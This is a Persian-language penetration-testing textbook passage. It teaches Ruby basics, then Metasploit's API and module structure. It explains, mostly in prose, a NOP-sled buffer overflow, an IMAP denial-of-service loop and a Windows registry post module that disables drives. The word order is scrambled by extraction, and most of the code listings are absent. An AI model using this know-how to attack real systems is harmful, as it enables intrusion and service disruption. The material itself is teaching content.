 .باشد هداد ارائه شما به را Metasploit مورد در بنیادی دانش باید
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 Rubyنویسی با  ای بر اسکریپ مقدمه
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 فصل اهداف

 :بود خواهید قادر ،فصل این مطالعه از پس
 نویسی اسکریپت اصول Ruby کنید. درک را 
 اصلی های اسکریپت Ruby بنویسید. را 
 های اسکریپت Ruby کنید. درک و بخوانید را 

Ruby برای که است زبانی Metasploit خواهید می اگر ،ترتیب نهمی به .شود می استفاده 
payload  فصل این در .باشد می کلیدی مهارت یک این ،بنویسید را خود متااسپلویت های 
 C) دیگری زبان روی بر نویسی برنامه تجربه اگر .کرد خواهید مشاهده را Ruby کلی مقدمه

++، Java، PHP کتاب این فصل ترین سریع و ترین آسان احتمالاً فصل این ،دارید را ...(و 
 Ruby زمینه در نویس برنامه استاد یک به را شما که نیست این فصل این هدف .بود خواهد
 شما که است این هدف ،حال این با .بود خواهد واحد فصل یک از فراتر کار این .کند تبدیل
Ruby کد بتوانید تا کرده درک کافی اندازه به را Ruby بخوانید را. 
Ruby توسط 1993 سال در .است گرا شی یسینو برنامه زبان یک Yukihiro Matsumoto از 
 .شود می استفاده ها زمینه از بسیاری در .است شده رایج کاملاً اخیر سالهای در و شد ایجاد ژاپن
 که باشد می سرور سمت وب نویسی برنامه چارچوب یک Ruby on Rails مثال عنوان به

 .است مشهور بسیار
 

 کنیم شروع کجا از

 ویندوز از اگر .دارید گزینه چندین شما کلی طور به .کنید نصب را Ruby محیط باید تدااب
 یا لینوکس کاربران /.https://rubyinstaller.org :کنید شروع لینک این از ،کنید می استفاده
 :کنند شروع زیر لینک از باید مکینتاش

https://www.ruby-lang.org/fa/downloads/ 
 ها محیط آن در تا اند کرده ایجاد شما برای را Ruby آنلاین محیط یک راداف از گروهی یا

 :کنید تمرین
https://www.tutorialspoint.com/ruby_terminal_online.php. 

 یا لینوکس ،ویندوز در Ruby یا کنید می استفاده آنلاین Ruby از اینکه گرفتن نظر در بدون
Mac، نویسی برنامه Ruby تایپ با کنید می شروع را خود:  Irb. 

https://www.tutorialspoint.com/ruby_terminal_online.php
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 15-1 شدکل  در Ruby آنلاین دستوردرمحیط این .شود می شروع تعاملی Ruby دستور کار این با
 .است شده داده نشان

 
 Ruby با شروع .15-1 شکل

 

 .دهد می نشان را ویندوز برای Ruby دستور خط (interface) واسط 15-2 شکل

 
 .ویندوز برای Ruby 15-2 شکل
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 Ruby اولیه نویسی اسکریپت

 ،ویندوز مایکروسافت در .هستند rb.فایل پسوند دارای Ruby منبع های فایل ،قرارداد طبق
 .شوند می ختم rbw.به که باشند، می myfile.rbw مانند ،اوقات گاهی Ruby منبع های فایل
 rb.پسوند با ماژول / کلاس از دایرکتوری / فایل نام که کند می بیان Ruby کدنویسی دقراردا
 .باشد می foo.rbz نام دارای Foo کلاس ،مثال عنوان به .است کوچک حروف

 

  اسکریپت اولین

 بیشتر .کنم می عمل نویسی برنامه آموزش افتخارآمیز سنت به "Hello World " برنامه شروع با من
 .کنند می اجرا Ruby با را اسکریپت سپس ،داده راانجام کار متن ویرایشگرهای از برخی رد اوقات
 :کنید تایپ را زیر موارد و کرده استفاده دارید علاقه که متنی (editor) ویرایشگر از ،بنابراین

# hello.rb 

puts 'Hello World' 

 که مکانی هر در را ایلف این توانید می اکنون .باشد می comment یک دهنده نشان # 
 نوع ،Notepad افزار نرم با ویندوز کاربران برای دیباش داشته خاطر به .کنید ذخیره خواهید می
 نشان 15-3 شکل در که طور همان .نکنید اضافه انتها به را txt.و داده تغییر All Files به را فایل
 .کنید ذخیره hello.rb عنوان به را فایل ،است شده داده

 
 .فایل ذخیره .15-3 شکل
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 :دهید انجام کردن تایپ و دایرکتوری آن به رفتن و سادگی به را کار این توانید می اکنون
ruby hello.rb 

 .است شده داده نشان 15-4 شکل در که
 Ruby محیط در مستقیماً توانید می .دارید Ruby کد نوشتن برای روش دو اکنون بنابراین
 سپس و ،کرده ذخیره را آن ،نوشته (text) متنی فایل یک در را خود دک توانید می یا ،بنویسید
 .کنید اجرا

 
 .فایل اجرای .15-4 شکل

 کرده مشاهده بخش نیا یابتدا در شده داده نشان مختصر پتیاسکر در را puts کلمه است ممکن
 پیتا ربرکا که را آنچه هر دیخواه می اگر .است صفحه روی چیزی نمایش معنای به این ،دیباش
 کرد. مشاهده میخواه فصل نیا در بعداً را مورد نیا .دیکن استفاده gets از ،دیکن افتیدر کند می
 

 Syntax نحو 

 یرو را یزیچ puts که اید هدیفهم .بیندازیم نگاهی اساسی ساختارهای از برخی به بیایید حال
 به را بیشتری (Syntaxنتکس)سی نحویا رفته فراتر آن از دهید اجازه اما ،دهد می شینما صفحه
 .کنیم اضافه خود دانش

 

 Variables متغیرها

 (،کلاسInstanceنمونه) (،Global) سراسری ها آن .دارد وجود ریمتغ نوع پنج Ruby در
(Class(محلی،)Local) ثابت و(Constant) طبق رایز ،ستندین ریمتغ واقع در ها ثابت) هستند 
 وقتی .دارند سراسری دامنه که است بدیهی سراسری تغیرهایم . (ستندین متفاوت ها آن فیتعر
 ،دارند صفر مقدار اولیه غیر سراسری متغیرهای .شوند می شروع $ با ،کنید می تعریف را ها آن

 :مثال عنوان به .بدهید ها آن به اصلی مقدار همیشه بنابراین
$last_name = "doe" 
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 صفر ها آن مقدار ،اولیه مقداردهی عدم صورت در .شوند می تعریف @ یک با نمونه متغیرهای
 :مثال عنوان به .بود خواهد

@@last_name = "doe" 

 اولیه مقداردهی بدون .شوند می شروع @@ با و دارد وجود کلاس یک در کلاس متغیرهای
 :مثال عنوان به .کنید استفاده کلاس متغیر از توانید نمی آن

@@last_name = "doe". 

 وجود تابع یک در یا حلقه یا if دستور مانند کدها برخی محدوده در (Local) محلی متغیرهای
 :مثال عنوان به .شوند می شروع _ یا کوچک حرف یک با ها آن .دارد

_last_name = "doe"; 

 از دارندد  دوسدت  نویسدان  برنامده  از بسدیاری  و ،شدوند  مدی  شدروع  بدزرگ  حرف یک با ها ثابت
 :مثال عنوان به .کنند دهاستفا ها ثابت برای بزرگ حروف

MAXVALUE = 10 

 ++، C، C) دیگر زبانهای از بسیاری برخلاف ،Ruby در که باشید شده متوجه است ممکن
 .ندارد (semicolon) ویرگول نقطه یک به دادن پایان به نیازی عبارت هر (،غیره و # C ،جاوا

 آرایه اعلامیه دو .باشد می ساده Ruby در ها آرایه ایجاد .باشند آرایه توانند می همچنین متغیرها
 :بگیرید نظر در را زیر

a = [ 1, 2, 3, 5, 8, 13, 21 ]  
b = [ 'tom', 'juan', 'fares' ] 

 فیبوناچی معروف توالی از اول شماره چند شامل آرایه این .کند می اعلام را a نام به آرایه اولین
 ،کنید می مشاهده که طور همان.است ردانهم کوچک های نام شامل b نام به آرایه دومین .است
  .است آسان نسبتاً (strings) های رشته یا اعداد از ای آرایه ایجاد
 

  (Operators) عملگرها

Ruby، ریاضی اصلی عمل چهار از ،نویسی اسکریپت و نویسی برنامه زبانهای همه مانند ،+ -، 
 .کند می پشتیبانی (تقسیم و ضرب ،تفریق ،جمع) / *،
 خلاصه اینجا در و شوند می پشتیبانی Ruby توسط که دارند وجود نیز دیگری ملگرهایع
 :شوند می
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 نویسی ساده این .است مانده باقی گزارش و عدد دو تقسیم معنای به و است ماژول عملگر ٪
 .باشد می کافی نویسی برنامه برای ولی ،است ریاضیات ماژول
 به این ،کنید تایپ a ** 3 و ،باشید داشته را a متغیر اگر ،بنابراین .است ها توان نمایانگر **

 است a3 یا "مکعب" معنای
 برنامه زبانهای از دیگر بسیاری مانند .کند می مقایسه بودن یکسان تعیین برای را متغیر دو = =

 .کند می double = = evaluates و single = assigns ،نویسی اسکریپت / نویسی
 .نیستند برابر مقدار دو آیا که کند می بررسی =!
 مساوی یا از کمتر معنای به => ،از بزرگتر معنی به < البته و .باشد می از کمتر سنتی عملگر > 
 .است ،با مساوی یا بزرگتر معنی به =<و ،با

 و عدد دو کردن جمع معنای به =+ ،مثال عنوان به .کنید ترکیب را عملگرها توانید می همچنین
 :رسد می نظر به آنچه اینجا در .باشد یم خروجی تولید

a += 2 

 .باشد می a = a + 2 نویسی خلاصه روش یک این
 را ضروری ریاضیات عملیات از برخی که دارد وجود Ruby بنیادی اسکریپت یک اینجا در

 :دهد می انجام
# demo basic variables and math 

#a global variable initialized to 0 

anumber=0 

# prompt the user to enter a number 

puts 'enter a number to cube' 

#put their number into the variable 

anumber = gets.to_i 

#compute and display the answer 

answer = 0 

answer = anumber**3 

puts "#{anumber} cubed is #{answer}" 

 کنید. می مشاهده را است، شده داده نشان 15-5 شکل در آنچه ،کنید می اجرا آنرا وقتی
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 .Ruby در پایه ریاضی 15-5 شکل

 

 یک این اگرچه .شوند درک باید که دارد وجود مختلفی های آیتم بنیادی اسکریپت این در
 Ruby بنیادی نویسی اسکریپت ،کنید درک کاملاً را آن اگر اما ،است ابتدایی بسیار اسکریپت

 .کرد خواهید درک را
 :کنیم شروع متغیر های اعلامیه بررسی با بیایید

anumber = 0 

 دلیل این به .نکردیم استفاده شد بحث قبلاً که (symbolsنمادهایی) از ما که باشید داشته توجه
 ،نمونه) ندارند مختلفی انواع متغیرها نتیجه در ،ندارد توابع و کلاس ساده، بسیار برنامه این که

 . (غیره و کلاس ،محلی
 :میکن می استفاده کاربر درخواست یبرا puts دستور از ما که دینیب می یبعد مرحله در

puts 'enter a number to cube' 

 در آن دادن قرار و کاربر از ورودی دریافت نحوه - کنید می مشاهده جدیدی مورد اکنون اما
 :متغیر یک

anumber = gets.to_i 

 صحیح عدد یک دنبال به ما که آنجا از اما .نوشتیم می getsفقط ما ،بود رشته یک این اگر
(integer) آن ،هستیم get.to_i (صحیح عدد به تبدیل) است . 
 .کنند می استفاده ها رشته برای ge.chomp از که کنید مشاهده را منابعی دارد احتمال

 gets تهی کننده خاتمه با را ورودی رشته (null) در (انتهاend) کند می بازیابی (\ n) . 
get.chomp تهی دهنده خاتمه null terminator برد می بین از را. 

 yes ،دهد می ارائه را صحیح عدد ورودی got.to_i که آنجا از ،زنید می حدس که طور همان

gets.to_f شناور مقدار ورودی (floating value input) داد خواهد ارائه را. 
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 مقدار اینجا در .است شده گرفته بکار که کنیم می اهدهمش را ریاضی عملگرهای از یکی ،بعد
 :دهیم می قرار متغیر جواب در را جواب و ،رسانیم می سوم توان به را آن و گیریم می عدد در را

answer = anumber**3 

 یک درون ،صفحه در متغیرها نمایش برای .هستیم Puts دستور در تغییراتی شاهد ،سرانجام
 :دهیم می قرار # }{های بلوک در را متغیرها آن ،رشته

puts "#{anumber} cubed is #{answer}" 

 در ،میکدرد  مدی  اسدتفاده  منفرد (quotes) های قول نقل با فقط puts از قبلاً که دیباش داشته توجه
 در کندیم  مدی  اسدتفاده   (double quotes) دوتدایی( ) دوگانده  های قول نقل از اینجا در که حالی
 دوتدایی  هدای  قول نقل از باید ،متغیرها درج هنگام اما ،دهد می جواب یک هر ،ردموا از بسیاری
 .کنید استفاده

 

  (conditional statements) شرطی عبارات

 بدرای  روش تدرین  رایدج  .داریدم  مختلف اقدامات انجام به تمایل شرایط، برخی به توجه با اغلب
 بددین  اصدلی  سداختار  Ruby در .اسدت  if توردس ،نویسی برنامه های زبان اکثر در کار این انجام

 :باشد می صورت
if somecondition   

then do this code 

 end  

 کنید استفاده ماژول عملگر از توانید می ،خیر یا باشد زوج عددی خواهید می اگر ،مثال عنوان به
 :مانند ،کنید تعیین را فرد یا زوج تعداد تا

if anumber % 2 == 1 then   

 print "That's an odd number"  

 else   

 print "That's an even number"  

 end 

 ما مثال در .است مهم بسیار موضوع این .کنیم می ختم end عبارت با ما که باشید داشته توجه
 شده داده نشان زیر نمونه برنامه در که .دهید قرار را if عبارت توانید می حتی .داریم else یک
 :است
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 .کنید مشاهده 15-6 شکل در توانید می را جیخرو

 
 if Statements .15-6 شکل

 

 متفاوت کمی رسد می نظر به ،Ruby در .کنند می پشتیبانی این از نویسی برنامه های زبان بیشتر 
 :است شده بازنویسی case دستور یک عنوان به که ،است قبلی کد این .باشد دیگر زبانهای از
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 یک دارای اند شده استفاده قبل مثال در که case عبارات که یدباش داشته توجه
 این که دهد می نشان باشد،1..51 صورت به که هنگامی ،مثال عنوان به .هستند (rangeمحدوده)

 از استفاده زمان مقابل در case عبارات از استفاده زمان مورد در .باشد می 15 تا 1 از عدد
 احتمال ،if عبارات شتریب یدگیچیپ با ،یکل طور به .ندارد وجود یمطلق قانون چیه if دستور
 .دیریبگ نظر در نیگزیجا نهیگز عنوان به را مورد case عبارت دیبخواه دارد
 

  (Loops) ها حلقه

 کد قطعه معین تعداد یک طریق از تکرار به نیاز که است نویسی برنامه در رایج وظیفه یک این
 for ساده حلقه از مثالی زیر در .شود می انجام حلقه نوعی با کلی رطو به امر این .دارد شده داده
 :است شده آورده Ruby در
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 .دهد می نشان را خروجی 15-7 شکل

 

 
 .حلقه .15-7 شکل

  
 .است شده استفاده قویتر کمی توابع بعدی بخش در مورد این که کرد خواهیم مشاهده
 داده نشان اینجا در که طور همان بنویسیم دوباره while حلقه عنوان به را این توانیم می همچنین
 :است شده

 
 یرو زین هیاول while، 0 حلقه با .شود می دهید 15-8 شکل در و است کسانی باًیتقر یخروج
  .شود می چاپ صفحه

 
  while حلقه .15-8 شکل
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  (Basic Functions) ای پایه توابع

 عبدارات  هدای  بنددی  گروه،توابدع  .نوشدت  خواهید،یسدی نو برنامده  هدای  زبان اکثر همانند را توابع
 یدک  انجدام  بدرای  خدوب  توابدع  اندد.  یافته سازمان مشترک نام یک با بلوک یک در که ،هستند
 توجده  بدا  را وام پرداخدت  ماهانه است ممکن تابع یک ،مثال عنوان به .کنند می کار واحد هدف
 فراخدوانی  از قبل باید را تابع ،غیرهامت مانند درست .کند محاسبه بهره نرخ و خاص اصل یک به

 :کنید تعریف

 
 معرفی شما به که توابعی با کردیم مشاهده قبلی های مثال در که را مواردی از برخی بیایید
 با را if دستور حالت این در .کنیم ایجاد تر قوی Ruby نمونه برنامه یک تا کنیم ترکیب کردم
 :کرد خواهیم ترکیب کند می وارد کاربر که عددی فاکتوریل محاسبه برای تابع یک
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 تعریف از قبل کنید سعی اگر .کنیم می فراخوانی را تابع ،تعریف از بعد که باشید داشته توجه
 خاطر به باید که باشد می مهمی نکته این .شد خواهید مواجه خطا با ،کنید فراخوانی را آن

 .دهد می نشان را نتایج 15-9 شکل .بسپارید

 
 فاکتوریل .15-9 شکل

 

   (Object-Oriented Programming گرا) شی نویسی برنامه

 کند می کار آن روی که کدی با را ها داده که است نویسی برنامه انتزاع یک object شی یک
 سادگی به (object) شی یک .هستند مختلف های داده حاوی ها برنامه همه .کند می بندی گروه
 .کند می جمع شی، نام به ،حدوا مکان یک در را ها آن همه
 :دارد وجود گرا شی نویسی برنامه از اساسی مفهوم چهار

 انتزاع (Abstraction) ًتوانید می .است انتزاعی روشی به مفاهیم مورد در تفکر توانایی اساسا 
 انتزاعی این .کنید فکر خاصی کارمند به اینکه بدون ،کنید ایجاد کلاس کارمند یک برای
 .است استفاده قابل کارمندی هر رایب و باشد می
 سازی کپسوله (Encapsulation) ًگرفتن عمل صرفاً .است گرا شی نویسی برنامه قلب واقعا 

 .واحد کلاس یک در ها آن دادن قرار و کنند می کار ها داده این روی که است توابعی و ها داده
 برای نیاز مورد های داده اراید string کلاس .کنید فکر ما کلاس و ها رشته پوشش به دوباره
 که مختلفی توابع همچنین و (بحث مورد خاص رشته مثال عنوان به) است ها آن روی بر کار

 اند. گرفته قرار کلاس یک در همه ،کنید استفاده ها داده آن روی است ممکن
 وراثت (Inheritance) و عمومی خصوصیات کلاس یک آن موجب به که است فرایندی 

 ایجاد کلاسیک مثال .آورد می دست به را ها آن یا ،برد می ارث به را دیگر کلاس های روش
 و حرکت مانند هایی روش و ،وزن مانند خواصی دارای کلاس این .است حیوان نام به کلاسی
 یک خواهید می وقتی .برخوردارند ها روش و خصوصیات همین از حیوانات همه .است خوردن
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 ارث به حیوان کلاس از را میمون کلاس سپس ،کنید ایجاد میمون یک برای مثلاً کلاس
 که است روشی این .داشت خواهد دارد حیوان که را خصوصیاتی و ها روش همان و ،برد می
 .کند می پشتیبانی کد مجدد استفاده از گرا شی نویسی برنامه آن در
 چندشکلی (Polymorphism) صوصیاتخ وقتی .است "مختلف اشکال" معنای به لغت در 
 رها کنید می پیدا که طور همان را ها آن نیست لازم ،برید می ارث به را کلاس یک های روش و

 این که را شکلی توانید می کار این با .دهید تغییر خود کلاس در را ها آن توانید می .کنید
 .دهید تغییر آورند می دست به خصوصیات و ها روش
 نسبتا صورت به زیر مثال .شود می تعریف (class) کلاس عبارت با کلاس یک ،Ruby در
 :باشد می مشاهده ای افتاده پا پیش

 
 

 خلاصه

 Ruby ساده های برنامه بتوانید باید شما .شدید آشنا Ruby نویسی برنامه اصول با ،فصل این در
 نویسی برنامه و توابع ،کاربر خروجی و ورودی ،متغیر اعلامیه ما .کنید اجرا را ها آن و نوشته را
 باید شما دانش .باشید داشته Ruby از ای اولیه درک باید اکنون .کردیم بررسی را گرا شی
 Ruby زمینه در بیشتری یادگیری داردید تمایل اگر .باشد کافی Ruby متن یک خواندن برای
 :باشد مفید شما برای است ممکن زیر منابع باشید، داشته

.http://www.tutorialspoint.com/ruby/ 
.https://www.fincher.org/tips/Languages/Ruby/ 

.beginners.rubymonstas.org-for-http://ruby 
 

http://ruby-for-beginners.rubymonstas.org/
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 فصل اهداف

 :بود خواهید قادر ،فصل این خواندن از پس
 منبع کد درک و خواندن Metasploit اکسپلویت. برای موجود 
 اکسپلویت منبع کد اصلاح Metasploit .موجود 
 های اکسپلویت Metasploit کنید. ایجاد را خود 
 این در .باشد می " Ruby با نویسی براسکریپت ای مقدمه" 15 فصل مطالب بر مبتنی فصل این
 .کرد خواهیم بررسی دارید نیاز ها اکسپلویت نوشتن برای که را Metasploit API ابتدا فصل
 نوشتن برای را شما ،سرانجام .کرد خواهیم بررسی را جاری های اکسپلویت تفسیر چند سپس

 .کرد خواهیم آماده هایتان اکسپلویت
 در Metasploit که آنجا از اما ،نوشت دیگر نویسی برنامه زبانهای به توان می را اکسپلویت

Ruby در اکسپلویت ،است شده نوشته Ruby های زبان از دیگر یکی .باشد می منطقی گام یک 
 فصل این در .است پایتون ،Metasploit های اکسپلویت نوشتن برای نویسی اسکریپت محبوب

 .پرداخت خواهیم Ruby اکسپلویت نوشتن به
 

API 
 نوشتن برای توانید می که باشد می زبانهایی از یکی Ruby ،دارید اطلاع قبل از که طور همان

 .باشد اکسپلویت نوشتن برای زبان ترین محبوب شاید ،کنید استفاده Metasploit اکسپلویت
 بررسی را API خلاصه طور به بخش این در .بود نخواهد کافی Ruby ساده دانستن ،متأسفانه
 نیاز شک بدون ،کنید می ایجاد را خود های اکسپلویت که طور همان ،حال این با .کرد خواهیم

  :بیابید اینجا در توانید می که داشت، خواهید API اسناد به مراجعه به
https://rapid7.github.io/metasploit-framework/api/. 

 در .اید داده انجام را کار این قبلاً احتمالاً .است Metasploit Framework نصب قدم اولین
  :بیندازید نگاهی لینک این به توانید می ،صورت این غیر

https://github.com/rapid7/metasploitframework/wiki/Nightly-Installers. 
 .باشدد  مفیدد  شدما  بدرای  Interactive Ruby Shell (IRB) بدا  کارهدا  ایدن  از برخدی  انجام شاید
 سدادگی  به Metasploit داخل در توانید می ،است شده داده نشان 16-1 شکل در که طور همان

irb کنید تایپ. 

https://rapid7.github.io/metasploit-framework/api/
https://github.com/rapid7/metasploitframework/wiki/Nightly-Installers
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 .IRB .16-1 شکل

 

 ،کنید می مطالعه را فصل این که هنگامی .کنید تایپ را exit گزینه فقط ،IRB از خروج برای
 به ،حال این با .کرد خواهید مشاهده را شده بکارگرفته یتمتااسپلو چارچوب API روش چند
 مشاهده API در را ها روش دارید تمایل اگر .پرداخت خواهیم فصل این در را بسیاری موارد
 framework.methods ،شده داده نشان 16-2 شکل در که طور همان IRB در توانید می ،کنید
 .کنید تایپ را
 آورده دست به را ها روش کل تعداد توانید می (،Interactive shellتعاملی) پوسته این درون از
 16-3 شکل در اینها دوی هر .کنید استفاده خاص نوع یها روش جستجوی برای grep از یا

 .است شده داده نشان
Metasploit API چارچوب به دسترسی امکان شما به Metasploit ایجاد برای که دهد می را 

 این در را ها روش از کاملی لیست توانید می همچنین .دارید نیاز آن هب خود های اکسپلویت
http://rapid7.github.io/metasploit- لینک از توضیحات با همراه ،چارچوب

framework/api/ کرد خواهیم کاوش را دموار این ،روش هر شمارش جای به .کنید دریافت 
 .است شده مطرح فصل این مثالهای در که طور همان

http://rapid7.github.io/metasploit-framework/api/
http://rapid7.github.io/metasploit-framework/api/
http://rapid7.github.io/metasploit-framework/api/
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 ها روش ،Framework .16-2 شکل

 

 
 .Framework با کار 16-3 شکل

 

 باشد می موجود زیر لینک در آنلاین صورت به الگویی شروع
https://github.com/rapid7/metasploitframework/wiki/How-to-get-started-with-
writing-an-exploit. 

 :شکل این در

 



 هیم تست نفوذآموزش اصول و مفا 404 

 

 
 چه کدام هر که کنید می درک نتیجه در ،ها بخش این از یک هر به انداخت خواهیم نگاهی ما

 15 فصل از که طور همان ،است (commentsنظرات) فقط اول قسمت .دهند می انجام کاری
 آزادانه های comment از کنم می توصیه اکیداً .دارد وجود # علامت آن از قبل ،دانید می

 .داشت نخواهد ضرری شما کد برای inline مستندات از بسیاری داشتن .کنید استفاده
 هسته باید که گوید می Ruby به ’require ‘msf/core عبارت ،comments دنبال به

Metasploit Framework لینوکس کالی در . باشد( می مهم ،سادگی عین )در .باشد داشته را، 
 اجرا ویندوز در را عامل سیستم اگر اما .باشید داشته مشکل کمی عبارت این با دبای شما
 .شد خواهید متوجه را خطایی احتمالاً ،کند پیدا را msf / core محل نتواند Ruby اگر ،کنید می
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 چیست، فرقش .کرد خواهید مشاهده را include و require عبارات ،ها اکسپلویت از برخی در
 رفتار دارد، یسینو برنامه های زبان اکثر در include عبارت که یروش مانند Required دستور
 به include عبارت .دهد می قرار حافظه در را آن و شده خوانده (ها فایل یا) فایل یک در :کند می

 در را ها روش آن اینکه مثل .باشد می شده مشخص ماژول های روش تمام شامل کلمه واقعی معنای
 شما مقدماتی بخش ،کنند می استفاده شما اکسپلویت از که کسانی بخاطر .نوشتید دخو ماژول
 (referencesمنابع) دوم نوشته؟ کسی چه که .است نویسنده اولی .باشد اصل چند شامل باید معمولاً

 چه از شما اکسپلویت.شود می نوشته ها پذیری آسیب برخی از استفاده برای اکسپلویت .
 شما اکسپلویت که دهد می نشان که داریم را platform ما سپس .برد می هرهب ای پذیری آسیب
 خواننده به .باشد می مهم نیز ها payload شناسایی .کند حمله هایی عامل سیستم چه به تواند می

 تمام که باشید داشته توجه .دهد تحویل تواند می را هایی payload چه شما اکسپلویت که بگویید
 .داشت خواهید خطاهایی صورت این غیر در .یابند می خاتمه end تعبار با بخشها

 

 کنید امتحان را موجود اکسپلویت یک

 درلینک توانید می و است اکسپلویت داده پایگاه از قسمتی زیر اکسپلویت
https://www.exploitdb.com/exploits/29035 درک بتوانید که امیدواریم .بیابید آنرا 

 .باشید داشته،دهد می رخ خط هر در آنچه از درستی

 

https://www.exploitdb.com/exploits/29035
https://www.exploitdb.com/exploits/29035
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 اولیه مقداردهی .باشد شده درک قابل باید مرحله این تا باید include و require عبارات

(initialize) به حالت این در .گیرد می قرار اکسپلویت به مربوط اطلاعات که است جایی 
 و اهداف ،فر  پیش های گزینه ،گیرد می قرار )اکسپلویت( برداری بهره مورد که (Bugعیبی)
 .شود می اشاره (RPORT یا دور راه پورت) ها گزینه سایر

 دارای منابع بخش ،حال این با .اید کرده مشاهده شده داده شرح قبل بخش در که توضیحاتی
 عامل سیستم همچنین و payload میزان رکا این که باشید داشته توجه .است بیشتری اطلاعات
 پذیری آسیب به پیوندی همچنین .هستند مهمی اطلاعات اینها .کند می توصیف را نظر مورد
 .گیرد می قرار برداریی( بهره اکسپلویت) مورد که دارد وجود واقعی
 توجه make_nops جدید عبارت اولین به .افتد می اتفاق def exploit بخش در واقعی کار
 تولید شده ارائه طول به nop sled یک و بوده Metasploit از بخشی عملکرد این .کنید
 nop sled که آید می بوجود سوال این .گرداند برمی (caller) کننده فراخوان به را آن و کند می

 است استفاده عدم های توالی از ای دنباله این شود، می نامیده nop اسلاید اوقات گاهی چیست؟
 .بکشد مهاجم نظر مورد حافظه به را CPU اجرای جریان اساساً تا شود می ارسال CPU به که
 .دیگراست های اکسپلویت سایر و بدافزارها در متداول روش یک این
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 ارسال سوکت به و شده ترکیب nop sled با (junk) پرت های داده بنیادی طور به بنابراین
 بافر شدن سرریز باعث ،باشد پذیر آسیب هدف و برود پیش خوب چیز همه اگر .شوند می
 به حرکت از قبل .است آسان آن کردن دنبال ولی ،است مختصر اکسپلویت یک این .شود می

 .کنید مطالعه دقت با را اکسپلویت این باید ،جلو سمت
 

  (Extending Existing Exploits) موجود های اکسپلویت گسترش

 راه از IMAP یک به را بافر کند می سعی .است بنیادی املاًک آید می آن دنبال به که اکسپلویت
 وجود اکسپلویت این درک برای زیادی چیزهای اما ،است ساده که حالی در .کند ارسال دور
 .داد خواهیم پوشش را اصلی موارد سپس ،بخوانید را کد ابتدا .دارد
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 از برخی شامل ما .کنید مشاهده را include عبارت دو توانید می Require عبارت از بعد ،اول
 به را چیز دو باید که هستیم DOS و IMAP شامل ما .هستیم Metasploit موجود های آیتم
 های اکسپلویت گسترش فقط ما اکسپلویت واقع در که است این مورد اولین .دهد نشان شما

 یک) IMAP از که هستیم سروری در سرویس انکار انجام حال در ما ،ثانیا .باشد می موجود
 .کند می پشتیبانی (ایمیل سرور
 انجام آزادانه که را هایی(commentنظرات) اکسپلویت، این طول تمام در است ممکن
 آن بیشتری سهولت با بتوانید تا شده بیان شدت به اکسپلویت این .باشید کرده مشاهده ،شود می
 توصیف آن و ،است دهش داده توضیح ها(comment) نظرات در بعدی بخش .کنید درک را

 .باشد می اکسپلویت این کلی
 :برسد نظر به عجیب کمی دارد امکان و ،رسیدیم بخش این به ،سپس

def rannum 

return Rex::Text.rand_text_alphanumeric(rand(1024))  

end 
 ایجاد خاص اندازه با (alphanumeric text)  عددی الفبایی متن از تصادفی رشته یک این 

 .کرد خواهیم ارسال هدف سرور به ما که است چیزی همان و کند می
 .است افتاده اتفاق اکسپلویت این واقعی ماهیت که است محلی while عبارت در آغازی رمز
 ،شویم متصل موفقیت با بتوانیم اگر .شویم متصل هدف به تا هستیم تلاش در که اینجاست در
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 زمانی تا ،است حلقه یک این که آنجا از و .کنیم می ارسال حد از بیش را تصادفی بافر محتوای
 را سرور باید ،موارد برخی در .کرد خواهیم ارسال را داده همچنان ،باشیم متصل هم به که

 .کنیم می قطع را خود اتصال ،مرحله آن در و .دهد قرار فشار تحت
 آسان آن درک .بود نخواهد کارساز ها عامل سیستم همه در و است ساده اکسپلویت یک این
 .دهید تغییر را آن توانید می تمایل درصورت و بوده
 .داد تعمیم ها اکسپلویت کل به را ها آن توان می که دارد وجود اکسپلویت این از مختلفی موارد

Metasploit دارد کتابخانه چندین. MSF Core API یک API این همیشه و باشد می ابتدایی 
 حاوی msf / core زنید می حدس که طور همان .کرد خواهید دهمشاه ها اکسپلویت در را مورد
 که موردی چند .کرد خواهید استفاده ها آن از مرتباً که دارد وجود توابعی .است زیادی موارد
 run_host، connect، send_raw_quest. REX :از عبارتند گیرند می قرار استفاده مورد بسیار

 توابع این .کنید مشاهده ها اکسپلویت در مرتباً دارد لاحتما که باشد می دیگری کتابخانه
 .دارد غیره و (formatting) بندی فرمت (،connectionsاتصالات) تنظیم مانند عملکردهایی

 افراد از برخی .است کلمه یک معمولاً ،دارید تمایل که باشد چیزی هر تواند می کلاس نامهای
 روش در .کنند می نامگذاری غیره و Metasploit1، Metasploit2 را خود کلاسهای فقط

  .کنید می توصیف را اکسپلویت (،initialize) اولیه مقداردهی
 

 اکسپلویت: اولین نوشتن

 ،وب در ساده جستجوی .کرد خواهیم بررسی را ساده نسبتاً اکسپلویت یک ،بخش این در
 این از یک هر .کنید تست توانیدآنهارا می که کند می فراهم شما برای را اضافی های اکسپلویت
 احتمال .کرد خواهند کار خاصی اهداف روی فقط ،Metasploit اکسپلویت هر مانند ،موارد
 نوشتن به را شما که باشد می صورت بدین فصل این هدف .نکند کار خاصی هدف روی دارد

 .دهد عادت Ruby در اکسپلویت
 دلیل این به .شود می داده نشان ختلفم منابع در آن های نسخه و است ساده اکسپلویت یک این
 / msf / core / post به نیاز بلافاصله .باشد می اثرگذار و آسان و کوتاه بسیار آن درک که

windows/ registry فقط اکسپلویت این که دهد نشان باید اکسپلویت این .کنید یادداشت را 
 آن خواندن برای فرصتی اینکه از بعد ،قبلی بخش در اکسپلویت همانند .کند می کار ویندوز در
 .کرد خواهیم تشریح را مورد این ،کردیم پیدا
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 سه دارای اکسپلویت این که باشد می صورت بدین باشید داشته توجه باید که چیزی اولین
 زیرا دارد نیاز windows/registry/ اکسپلویت پست به امر این .است مختلف require عبارت

 به ،باشد می اکسپلویت پست یک این .کند می استفاده درایو اطلاعات به یدستیاب برای آن از
 این از توانید می سپس .باشید داشته دستگاه آن با (sessionجلسه) یک قبل از باید که معنی این
 .کنید استفاده درایوها کردن غیرفعال برای طریق
 نیاز مورد رجیستری کلید است قرار ابتدا .باشد می run قسمت در اکسپلویت این واقعی تغذیه
 ایجاد را آن ،نداشت وجود دلایلی به اگر ولی ،باشد داشته وجود باید واقع در .شود مشخص ما

 از توان می رجیستری کلید هر مقدار تنظیم برای که باشید داشته توجه .کرد خواهیم
meterpreter_registry_setvaldata کرد استفاده. 

 به آیا .Register_options :دارد جدیدی چیز مورد این که شوید متوجه است ممکن همچنین
 این کردید؟ تایپ اکسپلویت برای را (options show) نمایش های گزینه که دارید خاطر
 تایپ شما اکسپلویت یرای را options show شخصی وقتی که است چیزی همان
 .داد نشان کند،خواهد می
 

 خلاصه
